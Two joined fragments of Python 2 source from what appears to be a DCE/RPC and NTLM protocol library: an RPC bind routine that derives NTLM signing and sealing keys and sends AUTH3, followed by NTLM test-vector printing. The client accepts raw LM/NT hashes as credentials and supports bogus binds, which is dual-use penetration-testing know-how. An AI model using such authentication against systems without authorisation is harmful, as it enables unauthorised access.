self._transport.recv() if s != 0: resp = MSRPCHeader(s) else: return 0 #mmm why not None? if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R: bindResp = MSRPCBindAck(str(resp)) elif resp['type'] == MSRPC_BINDNAK: resp = MSRPCBindNak(resp['pduData']) status_code = resp['RejectedReason'] if rpc_status_codes.has_key(status_code): raise Exception(rpc_status_codes[status_code], resp) elif rpc_provider_reason.has_key(status_code): raise Exception("Bind context rejected: %s" % rpc_provider_reason[status_code]) else: raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp) else: raise Exception('Unknown DCE RPC packet type received: %d' % resp['type']) # check ack results for each context, except for the bogus ones for ctx in range(bogus_binds+1,bindResp['ctx_num']+1): result = bindResp.getCtxItem(ctx)['Result'] if result != 0: msg = "Bind context %d rejected: " % ctx msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result) msg += "; " reason = bindResp.getCtxItem(ctx)['Reason'] msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason) if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported msg += " (this usually means the interface isn't listening on the given endpoint)" raise Exception(msg, resp) self.__max_xmit_size = bindResp['max_tfrag'] if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE: if self.__auth_type == RPC_C_AUTHN_WINNT: response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, use_ntlmv2 = self._transport.doesSupportNTLMv2()) self.__flags = response['flags'] elif self.__auth_type == RPC_C_AUTHN_NETLOGON: response = None self.__sequence = 0 if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY): if self.__auth_type == RPC_C_AUTHN_WINNT: if self.__flags & ntlm.NTLMSSP_NTLM2_KEY: self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey) self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server") self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey) self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server") # Preparing the keys handle states cipher3 = ARC4.new(self.__clientSealingKey) self.__clientSealingHandle = cipher3.encrypt cipher4 = ARC4.new(self.__serverSealingKey) self.__serverSealingHandle = cipher4.encrypt else: # Same key for everything self.__clientSigningKey = randomSessionKey self.__serverSigningKey = randomSessionKey self.__clientSealingKey = randomSessionKey self.__serverSealingKey = randomSessionKey cipher = ARC4.new(self.__clientSigningKey) self.__clientSealingHandle = cipher.encrypt self.__serverSealingHandle = cipher.encrypt elif self.__auth_type == RPC_C_AUTHN_NETLOGON: pass sec_trailer = SEC_TRAILER() sec_trailer['auth_type'] = self.__auth_type sec_trailer['auth_level'] = self.__auth_level sec_trailer['auth_ctx_id'] = self._ctx + 79231 if response is not None: auth3 = MSRPCHeader() auth3['type'] = MSRPC_AUTH3 # pad (4 bytes): Can be set to any arbitrary value when set and MUST be # ignored on receipt. The pad field MUST be immediately followed by a # sec_trailer structure whose layout, location, and alignment are as # specified in section 2.2.2.11 auth3['pduData'] = ' ' auth3['sec_trailer'] = sec_trailer auth3['auth_data'] = str(response) # Use the same call_id self.__callid = resp['call_id'] auth3['call_id'] = self.__callid self._transport.send(auth3.get_packet(), forceWriteAndx = 1) self.__callid += 1 return resp # means packet is signed, if verifier is wrong it fails
ntlmChallengeResponse['host_name'] = workstationName.encode('utf-16le') ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le') ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse hexdump(str(ntlmChallengeResponse)) print "\n" print "4.2.3.4 GSS_WrapEx" print "Plaintext" hexdump(plaintext) print "\n" print "Output of SEAL()" exportedSessionKey = keyExchangeKey clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey) serverSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey, "Server") clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey) serverSealingKey = ntlm.SEALKEY(flags, exportedSessionKey, "Server") from Crypto.Cipher import ARC4 cipher = ARC4.new(clientSigningKey) client_signing_h = cipher.encrypt cipher2 = ARC4.new(clientSealingKey) client_sealing_h = cipher2.encrypt print "SEALKEY()" hexdump(clientSealingKey) print "\n" print "SIGNKEY()" hexdump(clientSigningKey) print "\n" print "Sealed Data"